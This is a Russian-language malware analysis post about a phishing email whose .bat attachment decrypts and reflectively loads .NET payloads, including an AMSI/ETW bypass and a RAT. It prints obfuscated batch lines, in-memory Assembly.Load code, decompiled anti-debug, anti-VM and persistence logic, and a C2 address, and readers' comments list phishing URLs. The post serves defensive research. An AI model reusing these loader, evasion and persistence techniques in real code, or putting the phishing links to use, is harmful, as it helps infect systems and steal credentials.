Вводная.
В начале апреля в организации в Российской Федерации (и не только) пришли письма от неизвестного отправителя. В содержимом письма, кроме пожелания хорошего дня и просьбой ответить «скорее», находился RAR архив, а внутри архива *.bat файл.
После проверки содержимого в песочнице были предоставлены некоторые артефакты, указывая, что в письме явно содержится что-то подозрительное, но определить наверняка, вредонос это или нет СЗИ не удалось.
Зато были указаны некоторые составляющие bat файла: обфусцированные строки PowerShell.
Этого было достаточно чтобы начать анализ содержимого, найти IoC’и, и посмотреть на наличие таковых в трафике от организации.
Анализ вложения.
Как уже было отмечено, в архиве находился bat-файл.
Внутри обфусцированные функции и зашифрованные payloads, но об этом по порядку.
Деобфускация содержимого.
В первой части bat скрипта объявляются необходимые переменные в обфусцированном виде
set "dnRHZ3NQ=set R1NCSw===1 && start "" /min "
set "UFVTQVZB=&& exit"
set "eUxyZUdk=not defined R1NCSw==if %eUxyZUdk:=% (%dnRHZ3NQ:=%%0 %UFVTQVZB:=%)
Далее идут 2 зашифрованных с помощью AES CBC пейлоада, которые распологаюатся в комментариях (в batch '::')
Переменные первой части не слишком о много говорят, поэтому возьмемся за вторую часть. Для деобфускации второй части содержимого .bat файла несколько изменим его . Верхнеуровнево изучив 2-ю часть скрипта, можно заметить:
1. Переменной d2NKb09D присваивается обфусцированная строка:
set "d2NKb09D=WxNzdnindxNzdnowxNzdnsPxNzdnowxNzdnerSxNzdnhxNzdnelxNzdnl\xNzdnvxNzdn1.xNzdn0\pxNzdnowxNzdnersxNzdnhexNzdnllxNzdn.exNzdnxexNzdn"
2. После чего, строка деобфусцируется путём замены сочетания «xNzdn» на пустое значение "" и добавляется к пути C:\Windows\System32\, полученное содержимое помещается в переменную T1BHZ0FQ, которая выполняет обфусцированный код через pipe (номер 2 на рисунке ниже).
3. На следующем шаге в переменную dFFKVXdT добавляется обфусцированный код, с помощью команды echo выводится (номер 1 на рисунке ниже) и передается через pipe переменной 2.
Процесс обфускации кода мы уже знаем, посмотрим на деобфусцированный код. Для этого на изолированной виртуальной машине в cmd.exe мы его деобфусцируем:
1. Сначала разберемся, какой конечный путь содержит переменная из пункта 2. Объявим переменную и выполним деобфускацию:
В результате получаем C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe. Теперь мы знаем, что обфусцированный код передается через pipe в powershell.exe, деобфусцируем его.
2. Для этого аналогично первому этапу объявим переменные eEZvRHFu, dFFKVXdT и их содержимое, после чего уберем часть строки.
$host.UI.RawUI.WindowTitle – позволяет изменить название консоли (в нашем случае открывается консоль PowerShell, в которой выполняется деобфусцированный код), название консоли может любым, атакующие на данном этапе записывают в название наименование выполняемого bat-скрипта, чтобы в дальнейшем этим воспользоваться (в коде сценария PowerShell) – один из трюков для обращения по имени файла, из которого будет считываться нагрузка из PowerShell сценария. (RedTeam на заметку)
Настало время деобфусцировать код сценария PowerShell:
Сценарий у нас есть, давайте взглянем подробнее на содержимое:
В сценарии используется обфускация строк, чтобы обойти средства статического анализа перед исполнением кода.
Переменная $fEla содержит обфусцированный массив командлетов, которые используются в функциях PiXdA & CaenE и извлекаются по номеру элемента массива. (Red Team’у на заметку), такой способ также позволяет обойти триггеры AV & EDR, т.к. переменные извлекаются непосредственно в памяти и не сохраняются в открытом виде, в журнале событий (Event ID 4104) . Деобфусцируем и взглянем на содержимое переменной:
Деобфусцируем и взглянем на содержимое массива $fEla:
Оригинальный код, после приведення его к читаемому виду будет выглядеть так:
Теперь по порядку о том, что происходит в сценарии. Сценарий отрабатывает в скрытом окне, где происходит считывание содержимого открытого batch скрипта в переменную $QEoyB (24 строка), после чего с использованием методов Substring и ElementAt извлекается содержимое первой и второй нагрузки, далее декодируется из Base64 и с помощью функции PiXdA расшифровывается (Алгоритм AES 256 Bit, ключ и вектор в коде). После чего, расшифрованное содержимое проходит декомпрессию (функция CaenE) и записывается в переменные: $Mnpxl и $RtlUk (25 и 26 строки).
На следующем этапе содержимое (массив байтов) загружается в память процесса запущенного PowerShell и выполняется (строки 28 и 29):
[System.Reflection.Assembly]::Load([byte[]]$RtlUk).EntryPoint.Invoke($null,$null);
[System.Reflection.Assembly]::Load([byte[]]$Mnpxl).EntryPoint.Invoke($null,$null);
Загрузка и выполнение в памяти через namespace System.Reflection.Assembly возможна для сборок c .NET Framework. Что говорит о языке, на котором написаны библиотеки $RtlUk и $Mnpxl.
Для дальнейшего исследования загружаемой в память полезной нагрузки, мы несколько изменим сценарий PowerShell:
Закомментируем строки «powershell -w hidden», а также строки загрузки и выполнения в памяти загруженной сборки (комментируем строки 3, 31, 32 на рисунке ниже).
Чтобы без ошибок считать нагрузку из bat файла, мы укажем полный путь файла (в оригинале она считывается с использованием [System.IO.File]::ReadLines([Console]::Title), где [Console]::Title возвращает нам название запущенного ранее bat файла, т.к. перед этим наименование было помещено в новую созданную консоль через $host.UI.RawUI.WindowTitle =
%˜0
).Теперь, для дальнейшего анализа, нам необходимо записать расшифрованную нагрузку на диск. Для этого в методом WriteAllBytes, библиотек System.IO.File.
В конечном итоге, сценарий будет выглядеть так:
В результате выполнения изменённого нами сценария, мы получаем нагрузку на диске в виде двух файлов. Теперь эту нагрузку можно изучить подробнее.
Как мы уже предположили файлы представляют собой сборки на C#. Но чтобы убедиться в этом наверняка, воспользуемся утилитой DetectItEasy.
Первый файл скомпилирован с использованием пакера VMProtect, который затрудняет статический анализ кода и исходный код которого, аж дважды попадал в открытый доступ в 2023 году. (за использованием его в качестве инструмента защиты кода, были замечены небезизвестные Lazarus, APT31, Rorschach, Darkside и другие хак-группировки)
Оба файла, как мы предполагали на этапе анализа PowerShell, написаны с использованием .NET Framework, значит мы можем попробовать их декомпилировать и разобраться, какая же все-таки нагрузка выполняется. Для декомпиляции, а также деобфускации и распаковки кода, можно воспользоваться несколькими инструментами:
DnSpy - debugger and .NET assembly editor. Хоть проект уже несколько лет находится в архиве, тем не менее функционал свой выполняет. https://github.com/dnSpy/dnSpy
DnSpyEx - пришедший на смену предыдущему проект, который поддерживается коммьюнити по сей день. https://github.com/dnSpyEx/dnSpy (им мы и будем пользоваться)
De4dot - deobfuscator and unpacker, является одним из самых популярных инструментов для распаковки и/или деобфускации кода. https://github.com/de4dot/de4dot.
.NET Reactor Slayer - еще один deobfuscator and unpacker, в некоторых случаях показывает себя лучше, чем de4dot. https://github.com/SychicBoy/NETReactorSlayer
Файл RtlUk - Известный как ScrubBypass, который позволяет обойти ASMI и ETW, другого функционала он не несет.
Загрузим второй файл, сборку Mnpxl, в декомпилятор dnSpy, код не имеет обфускации и не запакован, поэтому хорошо читается. В глаза сразу бросается наличие ресурсов в сборке. Часто в ресурсах содержатся доп. нагрузки, а в случае с RemoteAccessTool различные модули (кейлоггеры и другие). С ресурсами разберемся чуть позже.
Не меньше интереса вызывают функции CheckRemoteDebuggerPresent, IsDebuggerPresent - проверяют наличие отладки исполняемого файла во время запуска.
Взглянем подробнее на функцию main().
private static void Main()
{
Process currentProcess = Process.GetCurrentProcess();
string title = Console.Title;
using (WindowsIdentity current = WindowsIdentity.GetCurrent())
{
CLASS.IsAdmin = new WindowsPrincipal(current).IsInRole(WindowsBuiltInRole.Administrator);
}
bool flag = false;
CLASS.CheckRemoteDebuggerPresent(currentProcess.Handle, ref flag);
if (Debugger.IsAttached || flag || CLASS.IsDebuggerPresent())
{
Environment.Exit(0);
}
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
{
ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
{
string text = managementBaseObject["Manufacturer"].ToString().ToLower();
if ((text == "microsoft corporation" && managementBaseObject["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) || text.Contains("vmware") || managementBaseObject["Model"].ToString() == "VirtualBox")
{
Environment.Exit(0);
}
}
}
if (!CLASS.IsStartup(Path.ChangeExtension(title, null)))
{
CLASS.InstallStartup(title);
}
byte[] rawAssembly = CLASS.Uncompress(CLASS.GetEmbeddedResource("P"));
MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
{
entryPoint.Invoke(null, new object[]
{
new string[0]
});
}
catch
{
entryPoint.Invoke(null, null);
}
}
После проверки наличия роли Администратора у пользователя из под которого процесс был запущен, проверяется наличие отладки исполняемого файла, следующим этапом малварь проверяет, что запущена не на виртуальной машине. В случае отрицательного результата, малварь завершает свою работу. Если результат положительный и пользователь входит в группу Администраторы, малварь закрепляется, копируя себя в
директорию %APPDATA%\strt.cmd и создавая задачу OneNote 58405 через powershell ( Base64 "cG93ZXJzaGVsbC5leGU=" --> powershell.exe). Задача выполняется после входа пользователя в систему и запускают файл дроппера strt.cmd.
Если у пользователя отсутствуют привилегии администратора, strt.cmd перемещается в директорию пользователя startup (для автозапуска)
Наличие strt.cmd в представленных директориях, а также создание задачи OneNote 58405 - всё это индикаторы компрометации, которые можно найти например на SIEM или средствах защиты класса HIPS (EDR и.т.д) после компрометации. Но мы продолжим изучать нагрузку.
Вернемся к функции main. После описанных проверок, из упомянутого ранее ресурса "P" извлекается содержимое, декомпрессируется, загружается в память, после чего выполняется. Чтобы изучить содержимое подробнее, запишем его на диск. Для этого, отредактируем код класса, закомментируем проверку наличия отладчика и запуска в виртуальный среде (т.к. именно здесь мы изучаем малварь), а также запуск загруженной в память нагрузки:
MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
{
entryPoint.Invoke(null, new object[]
{
new string[0]
});
}
catch
{
entryPoint.Invoke(null, null);
}
Вместо этого запишем нагрузку на диск:
Компилируем и запускаем, в результате получим нагрузку:
Файл представляет собой сборку .NET Framework, поэтому его можно загрузить в dnSpy и декомпилировать.
Содержимое этого файла - массив сырых байтов, которые загружаются (уже знакомым нам методом) и исполняются, точнее запускается отдельный метод класса. Если коротко, то это еще один дроппер.
Установив точку останова, мы можем сохранить содержимое переменной, назовем файл raw_raw_trojan (не будем заморачиваться с названием). Загрузим его в DetectItEasy:
Файл также является сборкой .NET Framework и содержит протектор .NET Reactor, загрузим его в dnSpy.
Чтобы упростить развертывание и уменьшить размер файла, малварь использует Fody.Costura. Такое встраивание уже наблюдалось в RAT в январе 2024 года специалистами.
Снятие протектора с использованием de4dot не принесло должного результата, однако использование .NET Reactor Slayer позволило привести код к более читаемому виду.
Из интересного: троян также имеет проверку среды, в которой он запускается
Кроме того, в одном из классов был найден IP-адрес С2 сервера, с которым троян пытается установить соединение после запуска.
Этот же адрес можно заметить в сетевом графике при динамическом анализе 93.123.39.147:5888.
На момент анализа в VT данного IP 04.04 в день фишинга, сработок было относительно немного (около 5), на сегодня 21.04 сработок прибавилось, но все еще немного, что говорит о том, что сервер довольно свежий. Данного IP уже использовался для С2 STRRAT.
В ресурсах (5 шт) вредоноса содержатся модули (кейлоггер и другие), которые путём хитрого преобразования извлекаются и с использованием WinAPI функций + GetDelegateForFuntionPointer инжектятся в память процессов.
Из интересного функционала трояна - загрузка браузера Tor на хост жертвы, для выстраивания взаимодействия через сеть tor.
Извлекать и писать декодер для 5 ресурсов я не стал. Ограничившись индикаторами компрометации, которые удалось обнаружить в ходе анализа.
Заключение.
Такие интересные сэмплы удалось изучить в начале апреля. Более глубокий анализ (анализ модулей) подобной малвари провела команда Fortinet. После анализа, можно сделать вывод, что атакующие чаще используют безфайловые атаки, различные техники обфускации, anti-Dbg/anti-Sandbox техники, чтобы успешно провести атаку, обойти средства защиты и закрепиться в системе. Надеюсь этот материал будет полезен и в дальнейшем поможет при изучении схожей нагрузки.
Yapokhozhnakota
А мне на почту майл ру пришло фишинговое письмо "Оплатите штраф ГИБДД"
В спам не попало, ссылки в письме ведут на сайт https://gosuslugi.ru-lkf.me
Если просто открыть ссылку то перекинет на госуслуги, если перейти из ссылки в письме с параметрами то открывается фишинговое окно ввода в котором почту уже подставляют в качестве логина.
https://gosuslugi.ru-lkf.me/?sess=&retpath=
Еще по другой ссылке воруют емайл
https://docviewer-mail.ru
AntonyN0p Автор
Доброго времени суток. Просьба не распространять ссылки ведущие на фишинговые ресурсы, даже в благих намерениях.
Mail_Support
Здравствуйте. Если вам поступают нежелательные письма с сомнительным содержанием, то не переходите по ссылкам из такого письма.Если наш антиспам пропустил какое-то "мусорное" письмо, нажмите кнопку «Спам» — это улучшит наши алгоритмы.
Также можете скачать в формате EML и прислать нам оригиналы таких писем через форму https://help.mail.ru/surveys/claims , чтобы мы могли принять меры.
Как скачать письмо: https://help.mail.ru/mail/helpful/eml